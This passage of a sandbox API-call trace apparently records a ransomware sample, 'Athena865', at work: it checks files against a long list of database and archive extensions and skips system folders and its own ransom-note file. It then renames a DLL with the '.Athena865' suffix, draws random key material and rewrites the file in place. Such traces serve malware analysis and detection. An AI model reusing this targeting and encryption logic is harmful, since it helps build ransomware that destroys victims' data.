(lpString1="jsprofilerui.dll", lpString2=".lnk") returned 1 [0042.602] lstrlenW (lpString=".ini") returned 4 [0042.602] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".ini") returned 1 [0042.602] lstrlenW (lpString=".sys") returned 4 [0042.602] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".sys") returned 1 [0042.602] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0042.602] lstrlenW (lpString="bak") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.602] lstrlenW (lpString="ba_") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.602] lstrlenW (lpString="dbb") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.602] lstrlenW (lpString="vmdk") returned 4 [0042.602] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.602] lstrlenW (lpString="rar") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.602] lstrlenW (lpString="zip") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.602] lstrlenW (lpString="tgz") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.602] lstrlenW (lpString="vbox") returned 4 [0042.602] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.602] lstrlenW (lpString="vdi") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.602] lstrlenW (lpString="vhd") returned 3 [0042.602] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.602] lstrlenW (lpString="vhdx") returned 4 [0042.602] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.602] lstrlenW (lpString="avhd") returned 4 [0042.602] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.602] lstrlenW (lpString="db") returned 2 [0042.603] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.603] lstrlenW (lpString="db2") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.603] lstrlenW (lpString="db3") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.603] lstrlenW (lpString="dbf") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.603] lstrlenW (lpString="mdf") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.603] lstrlenW (lpString="mdb") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.603] lstrlenW (lpString="sql") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.603] lstrlenW (lpString="sqlite") returned 6 [0042.603] lstrcmpiW (lpString1="ui.dll", lpString2="sqlite") returned 1 [0042.603] lstrlenW (lpString="sqlite3") returned 7 [0042.603] lstrcmpiW (lpString1="rui.dll", lpString2="sqlite3") returned -1 [0042.603] lstrlenW (lpString="sqlitedb") returned 8 [0042.603] lstrcmpiW (lpString1="erui.dll", lpString2="sqlitedb") returned -1 [0042.603] lstrlenW (lpString="xml") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.603] lstrlenW (lpString="$er") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.603] lstrlenW (lpString="4dd") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.603] lstrlenW (lpString="4dl") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.603] lstrlenW (lpString="^^^") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.603] lstrlenW (lpString="abs") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.603] lstrlenW (lpString="abx") returned 3 [0042.603] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.603] lstrlenW (lpString="accdb") returned 5 [0042.603] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0042.603] lstrlenW (lpString="accdc") returned 5 [0042.603] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0042.604] lstrlenW (lpString="accde") returned 5 [0042.604] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0042.604] lstrlenW (lpString="accdr") returned 5 [0042.604] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0042.604] lstrlenW (lpString="accdt") returned 5 [0042.604] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0042.604] lstrlenW (lpString="accdw") returned 5 [0042.604] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0042.604] lstrlenW (lpString="accft") returned 5 [0042.604] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0042.604] lstrlenW (lpString="adb") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.604] lstrlenW (lpString="adb") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.604] lstrlenW (lpString="ade") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.604] lstrlenW (lpString="adf") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.604] lstrlenW (lpString="adn") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.604] lstrlenW (lpString="adp") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.604] lstrlenW (lpString="alf") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.604] lstrlenW (lpString="ask") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.604] lstrlenW (lpString="btr") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.604] lstrlenW (lpString="cat") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.604] lstrlenW (lpString="cdb") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.604] lstrlenW (lpString="ckp") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.604] lstrlenW (lpString="cma") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.604] lstrlenW (lpString="cpd") returned 3 [0042.604] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.605] lstrlenW (lpString="dacpac") returned 6 [0042.605] lstrcmpiW (lpString1="ui.dll", lpString2="dacpac") returned 1 [0042.605] lstrlenW (lpString="dad") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.605] lstrlenW (lpString="dadiagrams") returned 10 [0042.605] lstrcmpiW (lpString1="ilerui.dll", lpString2="dadiagrams") returned 1 [0042.605] lstrlenW (lpString="daschema") returned 8 [0042.605] lstrcmpiW (lpString1="erui.dll", lpString2="daschema") returned 1 [0042.605] lstrlenW (lpString="db-journal") returned 10 [0042.605] lstrcmpiW (lpString1="ilerui.dll", lpString2="db-journal") returned 1 [0042.605] lstrlenW (lpString="db-shm") returned 6 [0042.605] lstrcmpiW (lpString1="ui.dll", lpString2="db-shm") returned 1 [0042.605] lstrlenW (lpString="db-wal") returned 6 [0042.605] lstrcmpiW (lpString1="ui.dll", lpString2="db-wal") returned 1 [0042.605] lstrlenW (lpString="dbc") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.605] lstrlenW (lpString="dbs") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.605] lstrlenW (lpString="dbt") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.605] lstrlenW (lpString="dbv") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.605] lstrlenW (lpString="dbx") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.605] lstrlenW (lpString="dcb") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.605] lstrlenW (lpString="dct") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.605] lstrlenW (lpString="dcx") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.605] lstrlenW (lpString="ddl") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.605] lstrlenW (lpString="dlis") returned 4 [0042.605] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.605] lstrlenW (lpString="dp1") returned 3 [0042.605] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.606] lstrlenW (lpString="dqy") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.606] lstrlenW (lpString="dsk") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.606] lstrlenW (lpString="dsn") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.606] lstrlenW (lpString="dtsx") returned 4 [0042.606] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.606] lstrlenW (lpString="dxl") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.606] lstrlenW (lpString="eco") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.606] lstrlenW (lpString="ecx") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.606] lstrlenW (lpString="edb") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.606] lstrlenW (lpString="epim") returned 4 [0042.606] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.606] lstrlenW (lpString="fcd") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.606] lstrlenW (lpString="fdb") returned 3 [0042.606] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.606] lstrlenW (lpString="fic") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.607] lstrlenW (lpString="flexolibrary") returned 12 [0042.607] lstrcmpiW (lpString1="ofilerui.dll", lpString2="flexolibrary") returned 1 [0042.607] lstrlenW (lpString="fm5") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.607] lstrlenW (lpString="fmp") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.607] lstrlenW (lpString="fmp12") returned 5 [0042.607] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0042.607] lstrlenW (lpString="fmpsl") returned 5 [0042.607] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0042.607] lstrlenW (lpString="fol") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.607] lstrlenW (lpString="fp3") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.607] lstrlenW (lpString="fp4") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.607] lstrlenW (lpString="fp5") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.607] lstrlenW (lpString="fp7") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.607] lstrlenW (lpString="fpt") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.607] lstrlenW (lpString="frm") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.607] lstrlenW (lpString="gdb") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.607] lstrlenW (lpString="gdb") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.607] lstrlenW (lpString="grdb") returned 4 [0042.607] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.607] lstrlenW (lpString="gwi") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.607] lstrlenW (lpString="hdb") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.607] lstrlenW (lpString="his") returned 3 [0042.607] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.608] lstrlenW (lpString="ib") returned 2 [0042.608] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.608] lstrlenW (lpString="idb") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.608] lstrlenW (lpString="ihx") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.608] lstrlenW (lpString="itdb") returned 4 [0042.608] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.608] lstrlenW (lpString="itw") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.608] lstrlenW (lpString="jet") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.608] lstrlenW (lpString="jtx") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.608] lstrlenW (lpString="kdb") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.608] lstrlenW (lpString="kexi") returned 4 [0042.608] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.608] lstrlenW (lpString="kexic") returned 5 [0042.608] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0042.608] lstrlenW (lpString="kexis") returned 5 [0042.608] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0042.608] lstrlenW (lpString="lgc") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.608] lstrlenW (lpString="lwx") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.608] lstrlenW (lpString="maf") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.608] lstrlenW (lpString="maq") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.608] lstrlenW (lpString="mar") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.608] lstrlenW (lpString="marshal") returned 7 [0042.608] lstrcmpiW (lpString1="rui.dll", lpString2="marshal") returned 1 [0042.608] lstrlenW (lpString="mas") returned 3 [0042.608] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.608] lstrlenW (lpString="mav") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.609] lstrlenW (lpString="maw") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.609] lstrlenW (lpString="mdbhtml") returned 7 [0042.609] lstrcmpiW (lpString1="rui.dll", lpString2="mdbhtml") returned 1 [0042.609] lstrlenW (lpString="mdn") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.609] lstrlenW (lpString="mdt") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.609] lstrlenW (lpString="mfd") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.609] lstrlenW (lpString="mpd") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.609] lstrlenW (lpString="mrg") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.609] lstrlenW (lpString="mud") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.609] lstrlenW (lpString="mwb") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.609] lstrlenW (lpString="myd") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.609] lstrlenW (lpString="ndf") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.609] lstrlenW (lpString="nnt") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.609] lstrlenW (lpString="nrmlib") returned 6 [0042.609] lstrcmpiW (lpString1="ui.dll", lpString2="nrmlib") returned 1 [0042.609] lstrlenW (lpString="ns2") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.609] lstrlenW (lpString="ns3") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.609] lstrlenW (lpString="ns4") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.609] lstrlenW (lpString="nsf") returned 3 [0042.609] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.609] lstrlenW (lpString="nv") returned 2 [0042.610] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.610] lstrlenW (lpString="nv2") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.610] lstrlenW (lpString="nwdb") returned 4 [0042.610] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.610] lstrlenW (lpString="nyf") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.610] lstrlenW (lpString="odb") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.610] lstrlenW (lpString="odb") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.610] lstrlenW (lpString="oqy") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.610] lstrlenW (lpString="ora") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.610] lstrlenW (lpString="orx") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.610] lstrlenW (lpString="owc") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.610] lstrlenW (lpString="p96") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.610] lstrlenW (lpString="p97") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.610] lstrlenW (lpString="pan") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.610] lstrlenW (lpString="pdb") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.610] lstrlenW (lpString="pdm") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.610] lstrlenW (lpString="pnz") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.610] lstrlenW (lpString="qry") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.610] lstrlenW (lpString="qvd") returned 3 [0042.610] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.610] lstrlenW (lpString="rbf") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.611] lstrlenW (lpString="rctd") returned 4 [0042.611] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.611] lstrlenW (lpString="rod") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.611] lstrlenW (lpString="rodx") returned 4 [0042.611] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.611] lstrlenW (lpString="rpd") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.611] lstrlenW (lpString="rsd") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.611] lstrlenW (lpString="sas7bdat") returned 8 [0042.611] lstrcmpiW (lpString1="erui.dll", lpString2="sas7bdat") returned -1 [0042.611] lstrlenW (lpString="sbf") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.611] lstrlenW (lpString="scx") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.611] lstrlenW (lpString="sdb") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.611] lstrlenW (lpString="sdc") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.611] lstrlenW (lpString="sdf") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.611] lstrlenW (lpString="sis") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.611] lstrlenW (lpString="spq") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.611] lstrlenW (lpString="te") returned 2 [0042.611] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.611] lstrlenW (lpString="teacher") returned 7 [0042.611] lstrcmpiW (lpString1="rui.dll", lpString2="teacher") returned -1 [0042.611] lstrlenW (lpString="tmd") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.611] lstrlenW (lpString="tps") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.611] lstrlenW (lpString="trc") returned 3 [0042.611] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.612] lstrlenW (lpString="trc") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.612] lstrlenW (lpString="trm") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.612] lstrlenW (lpString="udb") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.612] lstrlenW (lpString="udl") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.612] lstrlenW (lpString="usr") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.612] lstrlenW (lpString="v12") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.612] lstrlenW (lpString="vis") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.612] lstrlenW (lpString="vpd") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.612] lstrlenW (lpString="vvv") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.612] lstrlenW (lpString="wdb") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.612] lstrlenW (lpString="wmdb") returned 4 [0042.612] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.612] lstrlenW (lpString="wrk") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.612] lstrlenW (lpString="xdb") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.612] lstrlenW (lpString="xld") returned 3 [0042.612] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.612] lstrlenW (lpString="xmlff") returned 5 [0042.612] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0042.612] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll.Athena865") returned 67 [0042.612] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilerui.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilerui.dll.athena865"), dwFlags=0x1) returned 1 [0042.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilerui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.613] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=353280) returned 1 [0042.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.613] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.614] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.614] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.614] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x56700, lpName=0x0) returned 0x17c [0042.616] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x56700) returned 0x1f0000 [0042.632] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.633] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.633] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.633] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0042.637] CloseHandle (hObject=0x17c) returned 1 [0042.637] CloseHandle (hObject=0x154) returned 1 [0042.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.643] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="windows") returned -1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="bootmgr") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="temp") returned -1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="pagefile.sys") returned -1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="boot") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="ids.txt") returned 1 [0042.643] lstrcmpiW (lpString1="msdbg2.dll", lpString2="ntuser.dat") returned -1 